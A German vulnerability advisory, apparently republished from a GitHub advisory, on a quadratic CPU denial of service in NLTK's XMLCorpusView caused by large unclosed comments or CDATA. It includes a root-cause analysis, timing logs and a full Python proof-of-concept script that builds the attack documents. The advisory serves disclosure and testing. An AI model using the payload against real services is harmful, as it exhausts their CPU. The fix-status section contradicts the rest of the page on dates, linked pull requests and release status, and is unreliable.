Hoch

NLTK: Quadratischer CPU-Denial-of-Service beim Parsen von Kommentaren und CDATA in XMLCorpusView

  • Veröffentlicht: 19.11.2026
  • Aktualisiert: 22.11.2026 10:00

Betroffen: PyPI nltk >= 3.6 — Streaming-Lesevorgänge in nltk.corpus.reader.xmldocs.XMLCorpusView (sowie die darauf aufbauenden Reader nps_chat / framenet) Dynamisch reproduziert: 3.6 (Prüfungen zu 6/6), 3.9.2 (6/6), 3.10.3 (6/6) und develop 6818767b9 (6/6)


Quellverweise (nltk/corpus/reader/xmldocs.py:NNN) beziehen sich auf Commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). Die Datei xmldocs.py des veröffentlichten v3.10.3-Wheels ist mit diesem Commit byte-identisch, weshalb dieselben Zeilennummern gelten.

Zusammenfassung

Ein Angreifer, der ein Opfer dazu bringen kann, eine wohlgeformte XML-Korpusdatei einzulesen, deren Inhalt einen großen Kommentar oder CDATA-Abschnitt enthält, kann einen CPU-Kern für eine zur Dateigröße quadratische Dauer blockieren. Ursache ist, dass XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) nach jeweils 1 KiB eine lineare Validierung über den gesamten Puffer erneut ausführt, solange das Abschlusszeichen des Kommentars bzw. CDATA-Abschnitts noch nicht erreicht ist. XMLCorpusView ist die dokumentierte Streaming-API von NLTK für XML-Korpora und wird direkt von den Readern NPSChatCorpusReader und FramenetCorpusReader instanziiert; der Modul-Header (xmldocs.py:16-20) verarbeitet explizit nicht vertrauenswürdiges Korpus-XML. Die für GHSA-vp2x hinzugefügte Schutzprüfung in_tag deckt lediglich ein einzelnes überdimensioniertes <...>-Tag ab, wodurch der CDATA-/Kommentar-Pfad in der aktuellen Version quadratisch bleibt.

Details

Ursache: _read_xml_fragment (xmldocs.py:273-338) sammelt die Datei in Blöcken von _BLOCK_SIZE (1024) Zeichen (xmldocs.py:123, 298-299) in einer fragment-Zeichenkette. Nach jedem Block, der noch kein wohlgeformtes Präfix darstellt, wird das Fragment erneut gegen _VALID_XML_RE validiert. Zwei Operationen auf dem gesamten Puffer dominieren:

python
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))
    return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">":            # O(1) for this input class:
    ...                                                     # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
    ...

Für diese Eingabeklasse ist die Prüfung re.search in Zeile xmldocs.py:312 O(1): Das Fragment beginnt stets mit < (z. B. <root>…), sodass das erste Zeichen von </> am Offset 0 liegt und keinen signifikanten Aufwand erzeugt. Der quadratische Aufwand entsteht ausschließlich durch die beiden regulären Ausdrücke auf dem gesamten Puffer bei xmldocs.py:308 und xmldocs.py:329 (letzterer durchsucht den Puffer bis zum neuesten <, welches bei dieser Eingabe nahe dem Pufferende liegt).

_VALID_XML_RE (xmldocs.py:238-249) ist ein linearer regulärer Ausdruck (seine Tempered-Dot-Kommentar-/CDATA-Körper (?:(?!-->).)* / (?:(?!\]\]>).)* durchlaufen von links nach rechts in O(Länge) — bestätigt durch die Einzelprüfungen des eingebetteten Skripts), aber für ein Fragment, dessen Abschluss weit entfernt ist, schlägt die Übereinstimmung erst nach dem Durchsuchen des gesamten Puffers fehl. Bei einem blockübergreifend nicht geschlossenen CDATA-Abschnitt oder Kommentar zahlt jeder der n/1024 Blöcke O(aktuelle Pufferlänge) in den Zeilen 308 und 329, was zu insgesamt ~O(n²) Zeichenoperationen führt.

Der für GHSA-vp2x (xmldocs.py:283-305) eingeführte Schutz in_tag verfolgt lediglich einzelne </>-Zeichen: Er ist True innerhalb eines nicht geschlossenen <...>-Tags und überspringt in diesem Zustand nur den Abgleich in Zeile 308. Er repräsentiert niemals den Zustand „Fragment befindet sich in einem unvollständigen CDATA-Block oder Kommentar“ — XML erlaubt beliebige </> innerhalb dieser Konstrukte —, weshalb sowohl der Abgleich in Zeile 308 als auch der Backtrack-Abgleich in Zeile 329 für jedes Fragment weiterhin pro Block ausgeführt werden. Der Kommentarblock in xmldocs.py:283-289 dokumentiert die beabsichtigte Linearität („re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)“); die Schutzprüfung implementiert dies jedoch nur für Tags.

Der Aufwand einer einzelnen Übereinstimmung ist linear und nicht superlinear: Das eingebettete Skript misst _VALID_XML_RE.match() auf Puffern mit unvollständigem CDATA von 512 KiB → 1 MiB → 2 MiB und ermittelt ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, also linear), was belegt, dass das Verhältnis von 4× deutlich unterhalb quadratischer Grenzen bleibt. Der quadratische Gesamtaufwand entsteht folglich durch das wiederholte Ausführen dieser linearen Abgleiche pro Block — genau das Muster CWE-407, das durch den Schutz für Tags beseitigt werden sollte.

Versionsunterschiede (dynamisch verifiziert):

  • 3.10.3 / develop (Schutz vorhanden): Der Regex validiert CDATA korrekt, sodass sowohl das Angriffs-Dokument mit Kommentar als auch jenes mit CDATA erfolgreich gelesen und zurückgegeben werden; beide skalieren superlinear (t(4n)/t(n) ≈ 13-16; linear wäre ≈ 4). Die Kontrollmessung mit einem übergroßen Tag liest sich linear (Verhältnis ≈ 4.0), was belegt, dass die quadratischen Kosten spezifisch für den ungeschützten CDATA-/Kommentar-Pfad sind.
  • 3.6 / 3.9.2 (vor Einführung des Schutzes): Diese Versionen verwenden einen lazy Regex _VALID_XML_RE, dessen CDATA-Alternative <![CDATA[.*?]]> niemals zutrifft (die Teilzeichenkette [CDATA[.*?] wird als Zeichenklasse interpretiert), weshalb ein CDATA-Dokument nach dem quadratischen Scan mit ValueError: Unexpected end of file: tag not closed abgelehnt wird — ein separater funktionaler Fehler. Die Kommentar-Variante stellt hier ein wohlgeformtes Dokument dar und verhält sich ebenfalls quadratisch (t(4n)/t(n) ≈ 14-16); auch die Kontrollmessung mit übergroßem Tag liest sich dort quadratisch (Verhältnis ≈ 16), d. h. die gesamte Klasse ungeschlossener Konstrukte gemäß GHSA-vp2x ist dort ungepatcht.

Proof of Concept (PoC)

Das am Ende bereitgestellte Testskript erstellt ein wohlgeformtes XML-Dokument, dessen Wurzelknoten einen großen Kommentar mit Zeichen </> ohne --> vor der Endmarkierung enthält, führt den Fragment-Reader von XMLCorpusView bei Größen von n und 4n aus und prüft, ob die Verdopplungsrate weit über linear liegt. Es führt zudem die CDATA-Variante, eine Linearitätsprüfung einzelner Matches, eine lineare Kontrolle mit Riesentags, eine Wohlgeformtheitsprüfung sowie eine Erreichbarkeitsprüfung über die öffentliche API durch.

Geltungsbereich: Dynamisch ausgeführt auf 3.6, 3.9.2, 3.10.3 (veröffentlichte Wheels von PyPI / lokales 3.10.3-Wheel) sowie develop 6818767b9 (ausgecheckter Quellcode). Außerhalb dieser wurden keine Releases getestet; >= 3.6 bildet die älteste geprüfte Version. Umgebung: CPython 3.10.12, Linux x86_64. Eingabegrößen: 64 KiB vs. 256 KiB (Angriff) und 1 MiB vs. 4 MiB (lineare Kontrolle).

Protokollauszug (Messung mit dem 3.10.3-Wheel; Läufe für 3.6, 3.9.2 und develop 6818767b9 sind darunter zusammengefasst):

[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)  (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n->returned)
[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)
[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)
[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)  (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document  (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed

Weitere Testläufe (alle 6/6; wesentliche Zeilen):

3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76

(Die Single-Match-Verhältnisse vor Einführung des Schutzes sind bedeutungslos, da die inaktive CDATA-Alternative in O(1) fehlschlägt, und dienen nur der Vollständigkeit.)

Auswirkungen

  • Typ: CWE-407 / CWE-400 — CPU-Erschöpfung / Denial of Service durch algorithmische Komplexität beim Lesen einer einzelnen nicht vertrauenswürdigen Korpusdatei; keine Auswirkungen auf Vertraulichkeit oder Integrität.
  • Betroffene Systeme: Jede Bereitstellung, die Korpus-XML aus nicht vollständig vertrauenswürdigen Quellen an XMLCorpusView (oder die Reader nps_chat / framenet) übergibt — entsprechend dem Bedrohungsmodell in SECURITY.md. Die Eingabe ist reguläres, wohlgeformtes XML.
  • Voraussetzungen für Angreifer: Bereitstellung einer wohlgeformten XML-Datei mit einem großen Kommentar oder CDATA-Bereich mit Zeichen </> und dem Abschlusszeichen am Ende. Es sind keine Berechtigungen oder Benutzerinteraktionen über das automatisierte Einlesen der Datei hinaus erforderlich (analog zu SECURITY.md und begründet die Werte UI:N und AV:N).
  • Auswirkung: Gemessen 256 KiB → ~1.1 s für einen einzelnen Lesevorgang; der Aufwand skaliert quadratisch (t(4n)/t(n) ≈ 13-16). Einige MiB benötigen mehrere zehn Sekunden, zweistellige MiB-Größen mehrere Minuten CPU-Zeit auf einem einzelnen Kern.

Vorgeschlagene Behebung: Die inkrementelle Statusverfolgung sollte wie bei in_tag für Tags auf CDATA/Kommentare/DOCTYPE ausgeweitet werden: Beim Scannen jedes neu gelesenen Blocks sollte erfasst werden, ob sich das Fragment in einem nicht geschlossenen <!...-Konstrukt befindet (kein ]]> / --> / Doctype-Ende), um die Prüfungen bei xmldocs.py:308 und xmldocs.py:329 zu überspringen. Alternativ sollte nur der neu gelesene Block plus ein begrenztes Suffix re-validiert werden. Ergänzend sollten Regressionstests angelegt werden, die sich am bestehenden Cluster nltk/test/unit/test_quadratic_dos.py (GHSA-vp2x) orientieren.


Reproduktionsskript

python
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).

Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.

The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.

Controls:
  1. Well-formedness: the attack document parses with ElementTree.
  2. Linear baseline on the same reader: an oversized *single tag* of the same
     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
     case). On pre-guard builds it is quadratic too -- reported, not asserted.
  3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
     same sink.

Assertions:
  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
  - tag-control doubling ratio must be ~linear (< 8) when the guard is present.

Usage:
    python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
    PYTHONPATH : site-packages of the nltk version under test (required)
    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time

import xml.etree.ElementTree as ET

# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
    _DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
    os.environ["NLTK_DATA"] = _DATA_ROOT
    _CLEANUP_ROOT = _DATA_ROOT

from nltk.corpus.reader.xmldocs import XMLCorpusView


def elapsed(fn):
    start = time.perf_counter()
    fn()
    return time.perf_counter() - start


def build_comment_doc(body_size):
    # Well-formed XML: one root, one large comment containing '<' and '>' and
    # no '-->' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><!-- " + body + " --></root>"


def build_cdata_doc(body_size):
    # Well-formed XML: one root, one large CDATA containing '<' and '>' and no
    # ']]>' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body + "]]></root>"


def build_unclosed_cdata_prefix(body_size):
    # The line-308 match input: an accumulating fragment that is still inside
    # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
    # reuse with the attack-timing buffers above, which would skew the timing.
    body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body


def build_giant_tag(body_size):
    # Control: a single oversized '<a ...>' tag, no '>' until the very end.
    return "<a " + ("x" * body_size) + ">"


def guard_present():
    import nltk.corpus.reader.xmldocs as m

    with open(m.__file__, encoding="utf-8") as fh:
        return "in_tag" in fh.read()


view = XMLCorpusView.__new__(XMLCorpusView)
results = []


def check(name, cond, detail=""):
    results.append(bool(cond))
    print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f"  ({detail})" if detail else ""))


def read_frag(doc):
    """Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
    releases raise for CDATA-containing documents."""
    try:
        return view._read_xml_fragment(io.StringIO(doc))
    except ValueError as exc:
        return "ValueError: %s" % exc


def time_ratio(build, n1, n4):
    d1, d4 = build(n1), build(n4)
    t1 = elapsed(lambda: read_frag(d1))
    t4 = elapsed(lambda: read_frag(d4))
    return d1, d4, t1, t4


# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20  # 1 MiB / 4 MiB (guard-present linear baseline)

# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1)  # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  "
      f"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n->{outcome})")
check(
    "attack document is well-formed XML (parses with ElementTree)",
    ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
    f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
    "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
    ratio > 10.0,
    f"measured {ratio:.1f}",
)

# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  "
      f"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n->{doutcome})")
if has_guard:
    check(
        "CDATA variant also super-linear on guard-present build",
        dratio > 10.0,
        f"measured {dratio:.1f}",
    )
else:
    # Pre-guard releases cannot validate any CDATA (their regex's CDATA
    # alternative never matches), so the fragment ends in ValueError -- a
    # separate functional defect; report only.
    check(
        "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
        doutcome.startswith("ValueError"),
        str(doutcome),
    )

# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)
    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))


ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 << 18]:.4f}s  512KiB={ms[1 << 19]:.4f}s  "
      f"1MiB={ms[1 << 20]:.4f}s  2MiB={ms[1 << 21]:.4f}s")
check(
    "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
    ms[1 << 21] / ms[1 << 19] < 6.0,
    f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)

# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  "
          f"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
        gratio < 8.0,
        f"measured {gratio:.1f}",
    )
else:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  "
          f"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag also super-linear pre-guard (report-only)",
        gratio > 4.0,
        f"measured {gratio:.1f}",
    )

# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
    fh.write(c1)
try:
    items = list(XMLCorpusView(path, ".*"))
    check(
        "public API list(XMLCorpusView(path, '.*')) reads the attack document",
        len(items) >= 1,
        f"{len(items)} item(s) read from {len(c1)}-byte document",
    )
finally:
    if _CLEANUP_ROOT:
        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)

passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)

Status der Behebung (2026-09-28)

Status: IN BEARBEITUNG (Fix in einem offenen Pull-Request, noch nicht im Entwicklungszweig integriert).

Zwei offene Pull-Requests enthalten eine Korrektur:

  • PR: #3753 „[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path“, offen; Head da55cab0e zum Zeitpunkt der Notiz (Merge auf Basis von 238f81500). Fix-Commits: cf12a5e6a (XMLCorpusView._read_xml_fragment vergrößert das Lesefenster geometrisch; SeekableUnicodeStreamReader.readline durchsucht nur den neuen Bereich) und 2acc9bd97 (readline sammelt Bereiche in einer Liste). Test: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py; Ergebnis: BEHOBEN (readline skaliert mit 4.1x über eine Eingabe von 4x).
  • PR: #3895 „[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)“, offen, Head b22ebe144. Fix-Commit: 002bcf714; Prüfung aus PR #3753 auf diesem Head: BEHOBEN (1.6x über eine Eingabe von 4x).

Die Ausführung der Prüfung gegen develop 2fa3f48fe ergab: VERLETZLICH (readline skaliert mit 18.7x über eine Eingabe von 4x).

Release: keines.

Was zu tun ist

Eine Behebung ist derzeit noch nicht offiziell veröffentlicht („Release: none“). Fehlerbehebungen befinden sich in Bearbeitung über offene Pull-Requests (#3753 und #3895).

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) nltk >= 3.6, < 3.10.4 3.10.4

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400, CWE-407
Plattform
Python (PyPI)
Paket
nltk
Veröffentlicht
19.11.2026
Aktualisiert
22.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-j8g8-j4j7-8j54 - CC BY 4.0

Schwachstellenhistorie: nltk

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (79) im Archiv
Einträge insgesamt
79
Erste → letzte
08.2019 11.2026
Ohne Fix
5
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 5
  • Hoch 41
  • Mittel 31
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 74
Schweregrad:
  1. NLTK: Quadratischer CPU-Denial-of-Service beim Parsen von Kommentaren und CDATA in XMLCorpusView dieser Eintrag
    Hoch · 7.5 CVE-2026-128139 >= 3.6, < 3.10.4 3.10.4
  2. Hoch CVE-2026-79674 < 3.10.3 3.10.3
  3. Hoch · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. Hoch · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
  5. Hoch · 7.5 CVE-2026-33231 < 3.9.4 3.9.4
  6. Hoch · 8.6 CVE-2026-0847 < 3.9.3 3.9.3
Mehr anzeigen (6) 40 von 46 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.